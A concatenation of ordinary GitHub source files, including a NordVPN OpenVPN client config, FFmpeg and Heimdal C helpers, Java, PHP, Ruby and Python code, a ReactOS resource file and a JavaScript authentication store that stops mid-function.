{
"pile_set_name": "Github"
}
|
client
dev tun
proto udp
remote 89.238.142.138 1194
resolv-retry infinite
remote-random
nobind
tun-mtu 1500
tun-mtu-extra 32
mssfix 1450
persist-key
persist-tun
ping 15
ping-restart 0
ping-timer-rem
reneg-sec 0
comp-lzo no
remote-cert-tls server
auth-user-pass ../Own_VPN_Config/nordvpnauth.txt
verb 3
pull
fast-io
cipher AES-256-CBC
auth SHA512
<ca>
-----BEGIN CERTIFICATE-----
MIIFCjCCAvKgAwIBAgIBATANBgkqhkiG9w0BAQ0FADA5MQswCQYDVQQGEwJQQTEQ
MA4GA1UEChMHTm9yZFZQTjEYMBYGA1UEAxMPTm9yZFZQTiBSb290IENBMB4XDTE2
MDEwMTAwMDAwMFoXDTM1MTIzMTIzNTk1OVowOTELMAkGA1UEBhMCUEExEDAOBgNV
BAoTB05vcmRWUE4xGDAWBgNVBAMTD05vcmRWUE4gUm9vdCBDQTCCAiIwDQYJKoZI
hvcNAQEBBQADggIPADCCAgoCggIBAMkr/BYhyo0F2upsIMXwC6QvkZps3NN2/eQF
kfQIS1gql0aejsKsEnmY0Kaon8uZCTXPsRH1gQNgg5D2gixdd1mJUvV3dE3y9FJr
XMoDkXdCGBodvKJyU6lcfEVF6/UxHcbBguZK9UtRHS9eJYm3rpL/5huQMCppX7kU
eQ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rnEuEk9b5jel6NfHtPKoHc9mDpRdNPISeVa
wDBM1mJChneHt59Nh8Gah74+TM1jBsw4fhJPvoc7Atcg740JErb904mZfkIEmojC
VPhBHVQ9LHBAdM8qFI2kRK0IynOmAZhexlP/aT/kpEsEPyaZQlnBn3An1CRz8h0S
PApL8PytggYKeQmRhl499+6jLxcZ2IegLfqq41dzIjwHwTMplg+1pKIOVojpWA==
-----END CERTIFICATE-----
</ca>
key-direction 1
<tls-auth>
#
# 2048 bit OpenVPN static key
#
-----BEGIN OpenVPN Static key V1-----
e685bdaf659a25a200e2b9e39e51ff03
0fc72cf1ce07232bd8b2be5e6c670143
f51e937e670eee09d4f2ea5a6e4e6996
5db852c275351b86fc4ca892d78ae002
d6f70d029bd79c4d1c26cf14e9588033
cf639f8a74809f29f72b9d58f9b8f5fe
fc7938eade40e9fed6cb92184abb2cc1
0eb1a296df243b251df0643d53724cdb
5a92a1d6cb817804c4a9319b57d53be5
80815bcfcb2df55018cc83fc43bc7ff8
2d51f9b88364776ee9d12fc85cc7ea5b
9741c4f598c485316db066d52db4540e
212e1518a9bd4828219e24b20d88f598
a196c9de96012090e333519ae18d3509
9427e7b372d348d352dc4c85e18cd4b9
3f8a56ddb2e64eb67adfc9b337157ff4
-----END OpenVPN Static key V1-----
</tls-auth>
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (c) 1997 - 2005 Kungliga Tekniska Högskolan
* (Royal Institute of Technology, Stockholm, Sweden).
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* 3. Neither the name of the Institute nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE INSTITUTE AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE INSTITUTE OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include "der_locl.h"
#include <com_err.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <getarg.h>
#include <err.h>
RCSID("$Id$");
static const char *class_names[] = {
"UNIV", /* 0 */
"APPL", /* 1 */
"CONTEXT", /* 2 */
"PRIVATE" /* 3 */
};
static const char *type_names[] = {
"PRIM", /* 0 */
"CONS" /* 1 */
};
static const char *tag_names[] = {
"EndOfContent", /* 0 */
"Boolean", /* 1 */
"Integer", /* 2 */
"BitString", /* 3 */
"OctetString", /* 4 */
"Null", /* 5 */
"ObjectID", /* 6 */
NULL, /* 7 */
NULL, /* 8 */
NULL, /* 9 */
"Enumerated", /* 10 */
NULL, /* 11 */
NULL, /* 12 */
NULL, /* 13 */
NULL, /* 14 */
NULL, /* 15 */
"Sequence", /* 16 */
"Set", /* 17 */
NULL, /* 18 */
"PrintableString", /* 19 */
NULL, /* 20 */
NULL, /* 21 */
"IA5String", /* 22 */
"UTCTime", /* 23 */
"GeneralizedTime", /* 24 */
NULL, /* 25 */
"VisibleString", /* 26 */
"GeneralString", /* 27 */
NULL, /* 28 */
NULL, /* 29 */
"BMPString" /* 30 */
};
static int
get_type(const char *name, const char *list[], unsigned len)
{
unsigned i;
for (i = 0; i < len; i++)
if (list[i] && strcasecmp(list[i], name) == 0)
return i;
return -1;
}
#define SIZEOF_ARRAY(a) (sizeof((a))/sizeof((a)[0]))
const char *
der_get_class_name(unsigned num)
{
if (num >= SIZEOF_ARRAY(class_names))
return NULL;
return class_names[num];
}
int
der_get_class_num(const char *name)
{
return get_type(name, class_names, SIZEOF_ARRAY(class_names));
}
const char *
der_get_type_name(unsigned num)
{
if (num >= SIZEOF_ARRAY(type_names))
return NULL;
return type_names[num];
}
int
der_get_type_num(const char *name)
{
return get_type(name, type_names, SIZEOF_ARRAY(type_names));
}
const char *
der_get_tag_name(unsigned num)
{
if (num >= SIZEOF_ARRAY(tag_names))
return NULL;
return tag_names[num];
}
int
der_get_tag_num(const char *name)
{
return get_type(name, tag_names, SIZEOF_ARRAY(tag_names));
}
|
{
"pile_set_name": "Github"
}
|
/*
* copyright (c) 2006 Michael Niedermayer <[email protected]>
*
* This file is part of FFmpeg.
*
* FFmpeg is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* FFmpeg is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with FFmpeg; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
/**
* @file
* byte swapping routines
*/
#ifndef AVUTIL_BSWAP_H
#define AVUTIL_BSWAP_H
#include <stdint.h>
#include "libavutil/avconfig.h"
#include "attributes.h"
#ifdef HAVE_AV_CONFIG_H
#include "config.h"
#if ARCH_ARM
# include "arm/bswap.h"
#elif ARCH_AVR32
# include "avr32/bswap.h"
#elif ARCH_BFIN
# include "bfin/bswap.h"
#elif ARCH_SH4
# include "sh4/bswap.h"
#elif ARCH_X86
# include "x86/bswap.h"
#endif
#endif /* HAVE_AV_CONFIG_H */
#define AV_BSWAP16C(x) (((x) << 8 & 0xff00) | ((x) >> 8 & 0x00ff))
#define AV_BSWAP32C(x) (AV_BSWAP16C(x) << 16 | AV_BSWAP16C((x) >> 16))
#define AV_BSWAP64C(x) (AV_BSWAP32C(x) << 32 | AV_BSWAP32C((x) >> 32))
#define AV_BSWAPC(s, x) AV_BSWAP##s##C(x)
#ifndef av_bswap16
static av_always_inline av_const uint16_t av_bswap16(uint16_t x)
{
x= (x>>8) | (x<<8);
return x;
}
#endif
#ifndef av_bswap32
static av_always_inline av_const uint32_t av_bswap32(uint32_t x)
{
return AV_BSWAP32C(x);
}
#endif
#ifndef av_bswap64
static inline uint64_t av_const av_bswap64(uint64_t x)
{
return (uint64_t)av_bswap32(x) << 32 | av_bswap32(x >> 32);
}
#endif
// be2ne ... big-endian to native-endian
// le2ne ... little-endian to native-endian
#if AV_HAVE_BIGENDIAN
#define av_be2ne16(x) (x)
#define av_be2ne32(x) (x)
#define av_be2ne64(x) (x)
#define av_le2ne16(x) av_bswap16(x)
#define av_le2ne32(x) av_bswap32(x)
#define av_le2ne64(x) av_bswap64(x)
#define AV_BE2NEC(s, x) (x)
#define AV_LE2NEC(s, x) AV_BSWAPC(s, x)
#else
#define av_be2ne16(x) av_bswap16(x)
#define av_be2ne32(x) av_bswap32(x)
#define av_be2ne64(x) av_bswap64(x)
#define av_le2ne16(x) (x)
#define av_le2ne32(x) (x)
#define av_le2ne64(x) (x)
#define AV_BE2NEC(s, x) AV_BSWAPC(s, x)
#define AV_LE2NEC(s, x) (x)
#endif
#define AV_BE2NE16C(x) AV_BE2NEC(16, x)
#define AV_BE2NE32C(x) AV_BE2NEC(32, x)
#define AV_BE2NE64C(x) AV_BE2NEC(64, x)
#define AV_LE2NE16C(x) AV_LE2NEC(16, x)
#define AV_LE2NE32C(x) AV_LE2NEC(32, x)
#define AV_LE2NE64C(x) AV_LE2NEC(64, x)
#endif /* AVUTIL_BSWAP_H */
|
{
"pile_set_name": "Github"
}
|
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.wicket.examples.cdi;
import javax.inject.Inject;
import org.apache.wicket.markup.html.basic.Label;
import org.apache.wicket.markup.html.link.BookmarkablePageLink;
import org.apache.wicket.markup.html.link.Link;
import org.apache.wicket.model.PropertyModel;
public class ConversationPage2 extends CdiExamplePage
{
@Inject
ConversationCounter counter;
public ConversationPage2()
{
add(new Label("count", new PropertyModel<Integer>(this, "counter.count")));
add(new Link<Void>("increment") {
public void onClick() {
counter.increment();
}
});
add(new BookmarkablePageLink<Void>("next", ConversationPage3.class));
}
}
|
{
"pile_set_name": "Github"
}
|
/**
* Copyright (c) 2010 Yahoo! Inc. All rights reserved.
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License. See accompanying LICENSE file.
*/
package org.apache.oozie.action.hadoop;
import org.apache.hadoop.mapred.JobConf;
import org.apache.oozie.action.ActionExecutor.Context;
@SuppressWarnings("deprecation")
public abstract class Credentials {
/**
* This is the interface for all the Credentials implementation. Any new credential implementaion must implement
* this function. This function should modify the jobconf which will be used further to pass the credentials to the
* tasks while running it. Credentials properties and context is also provided by that user can get all the
* necessary configuration.
*
* @param jobconf job conf where the token will insert into
* @param props properties for getting credential token or certificate
* @param context workflow context
* @throws Exception thrown if failed
*/
public abstract void addtoJobConf(JobConf jobconf, CredentialsProperties props, Context context) throws Exception;
}
|
{
"pile_set_name": "Github"
}
|
<?php
define('CONFIG_FILE_PATH', getenv('TM_PROJECT_DIRECTORY').DIRECTORY_SEPARATOR.'.shopify-tmbundle');
/**
* Config
*
* ummm... for loading up any needed configs
*
*/
class mConfig {
var $ini_path = null;
var $api_key = null;
var $password = null;
var $store = null;
//Used to output to user what shop they are pushing to. Reads better than full shop name.
var $current = 'default';
function __construct($path) {
$this->ini_path = $path;
if(file_exists($path)) {
$this->load($path);
}
else {
//fallback
$this->api_key = getenv('SHOPIFY_API_KEY');
$this->password = getenv('SHOPIFY_PASSWORD');
$this->store = getenv('SHOPIFY_STORE');
if( (!$this->api_key) || (!$this->password) || (!$this->store) ) {
echo "No config file found here: {$path} ?";
echo "I can't seem to find your API Key, Password or Store.";
exit();
}
}
}
/**
* Write the .ini back
* @param array $data array to turn into .ini
* @return void
**/
public function save($data) {
$output = '';
foreach ($data as $key => $value) {
if(is_string($value)) {
$output .= $this->_ini_line($key, $value, true);
}
//Assume section
else {
$output .= "\n[$key]\n";
foreach ($value as $shopkey => $shopvalue) {
$output .= $this->_ini_line($shopkey, $shopvalue, true);
}
}
}
file_put_contents($this->ini_path, $output);
}
/**
* undocumented function
*
* @return string
**/
function _ini_line($key, $value, $newline = false) {
$line = trim($key).'="'. str_replace('"', '"', $value) .'"';
if($newline) {
$line .= "\n";
}
return $line;
}
/**
* Read and return the .ini
*
* @return array
**/
function read($path) {
return parse_ini_file($path, true);
}
/**
* Load the config file
*
* @return void
**/
public function load($path) {
$config = $this->read($path);
$this->current = $config['use'];
$settings = $config[$config['use']];
foreach ($settings as $key => $value) {
$this->{$key} = $value;
}
}
}
|
{
"pile_set_name": "Github"
}
|
'use strict';
Object.defineProperty(exports, '__esModule', { value: true });
var prefix = 'fas';
var iconName = 'globe';
var width = 496;
var height = 512;
var ligatures = [];
var unicode = 'f0ac';
var svgPathData = 'M336.5 160C322 70.7 287.8 8 248 8s-74 62.7-88.5 152h177zM152 256c0 22.2 1.2 43.5 3.3 64h185.3c2.1-20.5 3.3-41.8 3.3-64s-1.2-43.5-3.3-64H155.3c-2.1 20.5-3.3 41.8-3.3 64zm324.7-96c-28.6-67.9-86.5-120.4-158-141.6 24.4 33.8 41.2 84.7 50 141.6h108zM177.2 18.4C105.8 39.6 47.8 92.1 19.3 160h108c8.7-56.9 25.5-107.8 49.9-141.6zM487.4 192H372.7c2.1 21 3.3 42.5 3.3 64s-1.2 43-3.3 64h114.6c5.5-20.5 8.6-41.8 8.6-64s-3.1-43.5-8.5-64zM120 256c0-21.5 1.2-43 3.3-64H8.6C3.2 212.5 0 233.8 0 256s3.2 43.5 8.6 64h114.6c-2-21-3.2-42.5-3.2-64zm39.5 96c14.5 89.3 48.7 152 88.5 152s74-62.7 88.5-152h-177zm159.3 141.6c71.4-21.2 129.4-73.7 158-141.6h-108c-8.8 56.9-25.6 107.8-50 141.6zM19.3 352c28.6 67.9 86.5 120.4 158 141.6-24.4-33.8-41.2-84.7-50-141.6h-108z';
exports.definition = {
prefix: prefix,
iconName: iconName,
icon: [
width,
height,
ligatures,
unicode,
svgPathData
]};
exports.faGlobe = exports.definition;
exports.prefix = prefix;
exports.iconName = iconName;
exports.width = width;
exports.height = height;
exports.ligatures = ligatures;
exports.unicode = unicode;
exports.svgPathData = svgPathData;
|
{
"pile_set_name": "Github"
}
|
LANGUAGE LANG_NORWEGIAN, SUBLANG_NEUTRAL
/* Menu */
IDC_FDEBUG MENU
BEGIN
POPUP "&Fil"
BEGIN
MENUITEM "Koble &til", IDM_FILE_CONNECT
MENUITEM "Koble &fra", IDM_FILE_DISCONNECT, GRAYED
MENUITEM SEPARATOR
MENUITEM "&Clear display", IDM_FILE_CLEARDISPLAY
MENUITEM SEPARATOR
MENUITEM "&Start Opptak", IDM_FILE_STARTCAPTURE
MENUITEM "S&topp Opptak", IDM_FILE_STOPCAPTURE, GRAYED
MENUITEM SEPARATOR
MENUITEM "&Lokalt Ekko", IDM_FILE_LOCALECHO
MENUITEM SEPARATOR
MENUITEM "&Avslutt", IDM_EXIT
END
POPUP "&Hjelp"
BEGIN
MENUITEM "&Om...", IDM_ABOUT
END
END
/* Accelerators */
IDC_FDEBUG ACCELERATORS
BEGIN
63, IDM_ABOUT, ASCII, ALT // "?"
47, IDM_ABOUT, ASCII, ALT // "/"
END
/* Dialogs */
IDD_ABOUTBOX DIALOGEX 22, 17, 259, 210
STYLE DS_SHELLFONT | DS_MODALFRAME | WS_CAPTION | WS_SYSMENU
CAPTION "Om FreeLoader feilsøker"
FONT 8, "MS Shell Dlg"
BEGIN
CONTROL "FreeLoader feilsøker v1.0\nopphavsrett (C) 2003\nlaget av Brian Palmer ([email protected])", IDC_STATIC, "Static", SS_LEFTNOWORDWRAP | WS_GROUP, 53, 28, 122, 26
DEFPUSHBUTTON "OK", IDOK, 183, 189, 44, 14, WS_GROUP
ICON IDI_FDEBUG, IDC_STATIC, 19, 30, 20, 20
EDITTEXT IDC_LICENSE_EDIT, 53, 63, 174, 107, ES_MULTILINE | ES_READONLY | WS_VSCROLL
END
IDD_CONNECTION DIALOGEX 0, 0, 196, 100
STYLE DS_SHELLFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "Tilkobling valg"
FONT 8, "MS Shell Dlg"
BEGIN
LTEXT "Skriv COM port (f.eks COM1):", IDC_STATIC, 7, 7, 108, 8
EDITTEXT IDC_COMPORT, 7, 17, 182, 14, ES_AUTOHSCROLL
LTEXT "Enter the baud rate (e.g. 115200):", IDC_STATIC, 7, 38, 114, 8
EDITTEXT IDC_BAUTRATE, 7, 48, 182, 14, ES_AUTOHSCROLL
DEFPUSHBUTTON "OK", IDOK, 45, 79, 50, 14
PUSHBUTTON "Avbryt", IDCANCEL, 100, 79, 50, 14
END
IDD_CAPTURE DIALOGEX 0, 0, 251, 95
STYLE DS_SHELLFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "Capture File"
FONT 8, "MS Shell Dlg"
BEGIN
LTEXT "Opptak fil Navn:", IDC_STATIC, 7, 17, 62, 8
EDITTEXT IDC_CAPTUREFILENAME, 7, 26, 181, 14, ES_AUTOHSCROLL
PUSHBUTTON "&Bla gjennom", IDC_BROWSE, 194, 26, 50, 14
DEFPUSHBUTTON "OK", IDOK, 139, 74, 50, 14
PUSHBUTTON "Avbryt", IDCANCEL, 194, 74, 50, 14
END
/* String Tables */
STRINGTABLE
BEGIN
IDS_APP_TITLE "FreeLoader Debugger"
IDS_HELLO "Hei verden!"
IDC_FDEBUG "FDEBUG"
END
STRINGTABLE
BEGIN
IDS_LICENSE "Dette programmet er gratis programvare; du kan distribuere det og/eller endre det under betingelsene av GNU General Public License som er utgitt av Free Software Foundation; version 2 av lisensen, eller (etter din mening) alle senere versjoner.\r\n\r\nDette programmet er utgitt i håp for at det skal kunne brukes, men DET ER INGEN GARANTIER; uten heller forutsatt garantier av SALGBARHET eller SIKKETHET FOR EN ENKELTHET FORMÅL. Se på GNU General Public Lisensen for mere detaljer.\r\n\r\nDu skal ha motatt en kopi av GNU General Public Lisensen sammen med denne programmet; hvis du ikke har motatt det, skriv til Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA."
END
|
{
"pile_set_name": "Github"
}
|
<template>
<blueking-user-selector type="info"
v-if="localValue.length"
style="font-size: 12px;"
:api="api"
:value="localValue">
</blueking-user-selector>
<span v-else>--</span>
</template>
<script>
import BluekingUserSelector from '@blueking/user-selector'
export default {
components: {
BluekingUserSelector
},
props: {
value: {
type: String,
default: ''
}
},
data () {
return {
api: window.ESB.userManage
}
},
computed: {
localValue: {
get () {
if (this.value) {
return this.value.split(',')
}
return []
}
}
}
}
</script>
|
{
"pile_set_name": "Github"
}
|
# -*- coding: UTF-8 -*-
'''
Created on Jun 27, 2013
@author: tanel
'''
import unittest
from gi.repository import GObject, Gst
import thread
import logging
from decoder import DecoderPipeline
import time
class DecoderPipelineTests(unittest.TestCase):
def __init__(self, *args, **kwargs):
super(DecoderPipelineTests, self).__init__(*args, **kwargs)
logging.basicConfig(level=logging.INFO)
@classmethod
def setUpClass(cls):
decoder_conf = {"model" : "test/models/estonian/tri2b_mmi_pruned/final.mdl",
"lda-mat" : "test/models/estonian/tri2b_mmi_pruned/final.mat",
"word-syms" : "test/models/estonian/tri2b_mmi_pruned/words.txt",
"fst" : "test/models/estonian/tri2b_mmi_pruned/HCLG.fst",
"silence-phones" : "6"}
cls.decoder_pipeline = DecoderPipeline({"decoder" : decoder_conf})
cls.words = []
cls.finished = False
cls.decoder_pipeline.set_word_handler(cls.word_getter)
cls.decoder_pipeline.set_eos_handler(cls.set_finished, cls.finished)
loop = GObject.MainLoop()
thread.start_new_thread(loop.run, ())
@classmethod
def word_getter(cls, word):
cls.words.append(word)
@classmethod
def set_finished(cls, finished):
cls.finished = True
def setUp(self):
self.__class__.words = []
self.__class__.finished = False
def testCancelAfterEOS(self):
self.decoder_pipeline.init_request("testCancelAfterEOS", "audio/x-raw, layout=(string)interleaved, rate=(int)16000, format=(string)S16LE, channels=(int)1")
f = open("test/data/1234-5678.raw", "rb")
for block in iter(lambda: f.read(8000), ""):
time.sleep(0.25)
self.decoder_pipeline.process_data(block)
self.decoder_pipeline.end_request()
self.decoder_pipeline.cancel()
while not self.finished:
time.sleep(1)
#self.assertEqual(["üks", "kaks", "kolm", "neli", "<#s>", "viis", "kuus", "seitse", "kaheksa", "<#s>"], self.words)
def test12345678(self):
self.decoder_pipeline.init_request("test12345678", "audio/x-raw, layout=(string)interleaved, rate=(int)16000, format=(string)S16LE, channels=(int)1")
f = open("test/data/1234-5678.raw", "rb")
for block in iter(lambda: f.read(8000), ""):
time.sleep(0.25)
self.decoder_pipeline.process_data(block)
self.decoder_pipeline.end_request()
while not self.finished:
time.sleep(1)
self.assertEqual(["üks", "kaks", "kolm", "neli", "<#s>", "viis", "kuus", "seitse", "kaheksa", "<#s>"], self.words)
def testWav(self):
self.decoder_pipeline.init_request("testWav", "")
f = open("test/data/lause2.wav", "rb")
for block in iter(lambda: f.read(16000*2*2/4), ""):
time.sleep(0.25)
self.decoder_pipeline.process_data(block)
self.decoder_pipeline.end_request()
while not self.finished:
time.sleep(1)
self.assertEqual("see on teine lause <#s>".split(), self.words)
def testOgg(self):
self.decoder_pipeline.init_request("testOgg", "")
f = open("test/data/test_2lauset.ogg", "rb")
for block in iter(lambda: f.read(86*1024/8/4), ""):
time.sleep(0.25)
self.decoder_pipeline.process_data(block)
self.decoder_pipeline.end_request()
while not self.finished:
time.sleep(1)
self.assertEqual("see on esimene lause <#s> see on teine lause <#s>".split(), self.words)
def __testDecoder(self):
finished = [False]
def do_shit():
decoder_pipeline.init_request("test0", "audio/x-raw, layout=(string)interleaved, rate=(int)16000, format=(string)S16LE, channels=(int)1")
f = open("test/data/1234-5678.raw", "rb")
for block in iter(lambda: f.read(8000), ""):
time.sleep(0.25)
decoder_pipeline.process_data(block)
decoder_pipeline.end_request()
do_shit()
while not finished[0]:
time.sleep(1)
self.assertEqual(["üks", "kaks", "kolm", "neli", "<#s>", "viis", "kuus", "seitse", "kaheksa", "<#s>"], words)
words = []
finished[0] = False
do_shit()
while not finished[0]:
time.sleep(1)
self.assertItemsEqual(["see", "on", "teine", "lause", "<#s>"], words, "Recognition result")
# Now test cancelation of a long submitted file
words = []
decoder_pipeline.init_request("test0", "audio/x-raw, layout=(string)interleaved, rate=(int)16000, format=(string)S16LE, channels=(int)1")
f = open("test/data/etteytlus.raw", "rb")
decoder_pipeline.process_data(f.read())
time.sleep(3)
decoder_pipeline.cancel()
print "Pipeline cancelled"
words = []
finished[0] = False
decoder_pipeline.init_request("test0", "audio/x-raw, layout=(string)interleaved, rate=(int)16000, format=(string)S16LE, channels=(int)1")
# read and send everything
f = open("test/data/lause2.raw", "rb")
decoder_pipeline.process_data(f.read(10*16000))
decoder_pipeline.end_request()
while not finished[0]:
time.sleep(1)
self.assertItemsEqual(["see", "on", "teine", "lause", "<#s>"], words, "Recognition result")
#test cancelling without anything sent
decoder_pipeline.init_request("test0", "audio/x-raw, layout=(string)interleaved, rate=(int)16000, format=(string)S16LE, channels=(int)1")
decoder_pipeline.cancel()
print "Pipeline cancelled"
words = []
finished[0] = False
decoder_pipeline.init_request("test0", "audio/x-wav")
# read and send everything
f = open("test/data/lause2.wav", "rb")
decoder_pipeline.process_data(f.read())
decoder_pipeline.end_request()
while not finished[0]:
time.sleep(1)
self.assertItemsEqual(["see", "on", "teine", "lause", "<#s>"], words, "Recognition result")
words = []
finished[0] = False
decoder_pipeline.init_request("test0", "audio/ogg")
# read and send everything
f = open("test/data/test_2lauset.ogg", "rb")
decoder_pipeline.process_data(f.read(10*16000))
decoder_pipeline.end_request()
while not finished[0]:
time.sleep(1)
self.assertItemsEqual("see on esimene lause <#s> see on teine lause <#s>".split(), words, "Recognition result")
def main():
unittest.main()
if __name__ == '__main__':
main()
|
{
"pile_set_name": "Github"
}
|
module ActiveSupport
module NumberHelper
class NumberToPhoneConverter < NumberConverter #:nodoc:
def convert
str = country_code(opts[:country_code])
str << convert_to_phone_number(number.to_s.strip)
str << phone_ext(opts[:extension])
end
private
def convert_to_phone_number(number)
if opts[:area_code]
convert_with_area_code(number)
else
convert_without_area_code(number)
end
end
def convert_with_area_code(number)
number.gsub!(/(\d{1,3})(\d{3})(\d{4}$)/,"(\\1) \\2#{delimiter}\\3")
number
end
def convert_without_area_code(number)
number.gsub!(/(\d{0,3})(\d{3})(\d{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
number.slice!(0, 1) if start_with_delimiter?(number)
number
end
def start_with_delimiter?(number)
delimiter.present? && number.start_with?(delimiter)
end
def delimiter
opts[:delimiter] || "-"
end
def country_code(code)
code.blank? ? "" : "+#{code}#{delimiter}"
end
def phone_ext(ext)
ext.blank? ? "" : " x #{ext}"
end
end
end
end
|
{
"pile_set_name": "Github"
}
|
import { get, set, clear } from 'idb-keyval'
import auth0 from 'auth0-js'
import config from '../../config'
import Events from '../events.js'
import { checkStatus } from '../helpers/fetch.js'
import { log } from '../helpers/logger.js'
import { broadcast } from './broadcastchannel.js'
import { authEvents as EVENTS } from '../models/authEvents.js'
const SESSION_EXPIRED =
'You have been signed out because your session has expired.'
const HOUR = 60 * 60 * 1000
class AuthenticationStore extends Events {
constructor(props) {
super(props)
this.loginType = null
this.refreshToken = {}
this.accessToken = null
this.expiresAt = 0
this.socket = null
this.reconnectDelay = 1
this.queueCompleteSync = false
if (config.loginType.indexOf('auth0') > -1) {
this.auth0 = new auth0.WebAuth(config.auth0)
}
broadcast.bind('complete-sync', this.emitFinish)
if (typeof window !== 'undefined') {
window.addEventListener('online', () => {
this.getToken()
})
window.addEventListener('offline', () => {
if (this.socket) {
this.socket.close()
}
})
}
broadcast.bind('new-master', this.connectSocketWithCheck)
}
loadLocal(disableToken = false) {
get('auth').then(data => {
if (data !== undefined) {
this.refreshToken = data
}
if (disableToken === true) {
return
}
this.trigger(EVENTS.SIGN_IN)
if (
navigator !== undefined &&
navigator.onLine &&
!this.isLocalAccount()
) {
if (
parseInt(this.refreshToken.expiresAt) - new Date().getTime() <
HOUR
) {
this.getToken().catch(err => {
if (err.status === 401) {
this.signOut(SESSION_EXPIRED)
}
})
} else {
this.accessToken = { access_token: this.refreshToken.accessToken }
this.expiresAt = parseInt(this.refreshToken.expiresAt)
this.scheduleToken(
(this.expiresAt - new Date().getTime() - HOUR) / 1000
)
setTimeout(this.connectSocketWithCheck, 5000)
this.trigger(EVENTS.TOKEN_READY)
}
}
})
}
isSignedIn(tokenCheck = false) {
if (tokenCheck && this.isLocalAccount()) {
return false
}
return Object.keys(this.refreshToken).length > 0
}
isConnected() {
if (this.socket) {
return true
}
return false
}
isLocalAccount() {
return (
Object.keys(this.refreshToken).length === 0 ||
this.refreshToken.loginType === 'local'
)
}
formSignIn(username, password) {
if (username === '[email protected]') {
this.refreshToken = { loginType: 'local' }
this.trigger(EVENTS.SIGN_IN)
set('auth', this.refreshToken)
} else {
this.authenticate(username, password)
.then(() => this.trigger(EVENTS.SIGN_IN))
.catch(err => this.trigger(EVENTS.SIGN_IN_ERROR, err))
}
}
authHeader(json = false) {
if (json) {
return {
Authorization: 'Bearer ' + this.accessToken.access_token,
'Content-Type': 'application/json'
}
}
return 'Bearer ' + this.accessToken.access_token
}
createAccount(username, password) {
return fetch(`${config.endpoint}/users/create`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
username: username,
password: password
})
})
.then(checkStatus)
.then(response => {
this.authenticate(username, password)
})
}
deleteAccount() {
return fetch(`${config.endpoint}/users`, {
method: 'DELETE',
headers: this.authHeader(true)
}).then(checkStatus)
}
authenticate(username, password) {
return new Promise((resolve, reject) => {
fetch(`${config.endpoint}/auth/authorize`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
username: username,
password: password
})
})
.then(checkStatus)
.then(response => {
response.json().then(data => {
data.loginType = 'password'
this.refreshToken = data
set('auth', this.refreshToken)
this.getToken().then(function() {
resolve('Logged In!')
})
})
})
.catch(function(err) {
reject(err)
})
})
}
signOut(message, deleteSession = false) {
const broadcastLogout = () => {
broadcast.post('logout')
}
// this is called even if something fails
const cb = () => {
if (typeof message === 'string') {
window.location = `/?info=${encodeURIComponent(message)}`
} else {
window.location = '/'
}
}
const promises = [clear()]
if (
!(JSON.stringify(this.refreshToken) === '{}' || this.isLocalAccount()) &&
deleteSession &&
this.refreshToken.loginType !== 'auth0'
) {
promises.push(
fetch(
`${config.endpoint}/auth/token/${this.refreshToken.refresh_token}`,
{
method: 'DELETE'
}
)
)
} else if (deleteSession && this.refreshToken.loginType === 'auth0') {
Promise.all(promises)
.then(broadcastLogout)
.then(() => {
this.auth0.logout({
returnTo: config.auth0.logoutUri,
clientId: config.auth0.clientId
})
